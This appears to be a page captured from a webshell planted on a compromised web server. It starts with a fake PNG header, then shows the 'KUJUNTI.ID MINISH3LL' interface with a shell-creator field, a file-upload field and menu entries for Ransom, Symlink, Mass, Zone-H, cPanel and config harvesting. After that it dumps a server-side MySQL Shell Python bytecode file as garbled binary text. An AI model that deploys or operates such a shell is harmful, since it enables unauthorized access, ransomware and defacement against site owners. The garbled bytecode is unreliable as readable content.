\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 mahali.shop
KUJUNTI.ID MINISH3LL
Path : /lib/mysqlsh/python-packages/mysqlsh/plugin_manager/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //lib/mysqlsh/python-packages/mysqlsh/plugin_manager/__pycache__/general.cpython-38.pyc


U

�C�e��@szddlZddlZddlZddlZddlZddlZddlZddlm	Z	dZ
dZdd�Zdd�Z
d	d
�Zddd
�Zdd�ZdS)�N��Pathz0.0.1�
cGs�dtjkrtjd}nHt��}|s*td��t��}|dkrPtj�|dddd�}ntj�|d�}zt|�j	d	d
�Wnt
k
r�YnX|D]}tj�||�}q�|S)z�Returns the MySQL Shell's user directory

    The directory will be created if it does not exist yet

    Args:
        *argv: The list of directories to be added to the path

    Returns:
        The plugin directory path as string
    ZMYSQLSH_USER_CONFIG_HOMEzNo home directory setZWindowsZAppDataZRoamingZMySQL�mysqlshz.mysqlshT��parents)�os�environr�home�	Exception�platform�system�path�join�mkdir�FileExistsError)�argvZ	shell_dirZhome_dir�os_name�arg�r�B/usr/lib/mysqlsh/python-packages/mysqlsh/plugin_manager/general.py�get_shell_user_dir&s,
�rcGsNtd�}zt|�jdd�Wntk
r0YnX|D]}tj�||�}q6|S)z�Returns the MySQL Shell's temp directory

    The directory will be created if it does not exist yet

    Args:
        *argv: The list of directories to be added to the path

    Returns:
        The temp directory path as string
    ZtempTr)rrrrrrr)rZtemp_dirrrrr�get_shell_temp_dirKsrcGsbddlm}ddl}td�}z||�jdd�Wntk
rDYnX|D]}|j�||�}qJ|S)z�Returns the MySQL Shell's plugin directory

    The directory will be created if it does not exist yet

    Args:
        *argv: The list of directories to be added to the path

    Returns:
        The plugin directory path as string
    rrNZpluginsTr)�pathlibrZos.pathrrrrr)rrrZplugins_dirrrrr�get_plugins_dirdsrFc
Cs|z�t��}|dkr4|dkr4t||dtjdd�d�WStjj|t|d��}|�	�}W5QRX|sj|�
d�WSt|d	��}|�|�W5QRXWdSWn�tj
jk
r�}z8|r��|jd
kr�td|�dt|����WY�
dS�W5d}~XYn�tj
jk
�rv}zht|j�}	d
|	k�rF|dk�rFt�}
t|||tj|
d�d�WY�&Std|�dt|����|�rf�W5d}~XYnXdS)ajDownloads a file from a given URL

    Args:
        url (str): The URL to the text file to download
        file_path (str): The file to store the downloaded file
        raise_exceptions (bool):  Whether exceptions are raised

    Returns:
        The contents of the file decoded to utf-8 if no file is given or True
        on success or None on failure
    NZDarwinTz/private/etc/ssl/cert.pem)�cafile)�	file_path�raise_exceptions�ctx)Ztimeout�contextzutf-8�wbi�zCould not download file from z
ERROR: ZCERTIFICATE_VERIFY_FAILED)rr
�
download_file�sslZcreate_default_context�urllibZrequestZurlopen�URL_OPEN_TIMEOUT_SECONDS�read�decode�open�write�errorZ	HTTPError�code�print�strZURLError�reason�install_ssl_certificates)ZurlrrrrZresponse�dataZout_file�er-rrrrr!�sF
�




�r!cCs�tjtjBtjBtjBtjBtjBtjBtjB}t	j
�t�d�}t
d�t	j
�t���}t
d�zt	�|�Wntk
r�YnXt
d�t	�||�t
d�t	�||�t
d�|S)Nzcertifi-ca.pemzInstalling SSL certificate...z& -- removing any existing file or linkz2 -- creating symlink to certifi certificate bundlez -- setting permissionsz -- update complete)�stat�S_IRUSR�S_IWUSR�S_IXUSR�S_IRGRP�S_IWGRP�S_IXGRP�S_IROTH�S_IXOTHrrrrr+�relpath�certifi�where�remove�FileNotFoundError�symlink�chmod)Z
STAT_0o775Zshell_cafileZrelpath_to_certifi_cafilerrrr.�s<��������r.)NFN)r;rrZurllib.errorr#Zurllib.requestr1r"rr�VERSIONr$rrrr!r.rrrr�<module>s%
:

© KUJUNTI.ID